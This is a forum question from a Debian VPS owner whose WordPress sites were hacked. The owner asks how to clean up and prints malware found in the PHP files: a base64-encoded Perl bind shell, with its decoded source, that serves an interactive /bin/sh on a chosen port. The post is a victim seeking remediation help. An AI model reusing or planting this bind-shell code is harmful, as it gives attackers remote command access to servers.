Php virus how to clean?

Question

PHP

There is a VPS server on Debian from hetzer, several wordpress sites are spinning on it.
Noticed suspicious activity on the server - outgoing smtp traffic, cleaned php mailers/shells, traffic disappeared. Everything worked fine for a week.
Today I found another infected php files to which the following code was added:

$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";

Decoded base64:

#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
  accept(CONN,S);
  if(!($pid=fork)) {
    die "Cannot fork" if (!defined $pid);
    open STDIN,"<&CONN";
    open STDOUT,">&CONN";
    open STDERR,">&CONN";
    exec $SHELL || die print CONN "Cant execute $SHELL\n";
    close CONN;
    exit 0;
  }
}

Next, I found a Shellshock vulnerability - updated bash. www.wordpressplugins.ru/critical/shellshock-check.html
Tell me where to dig further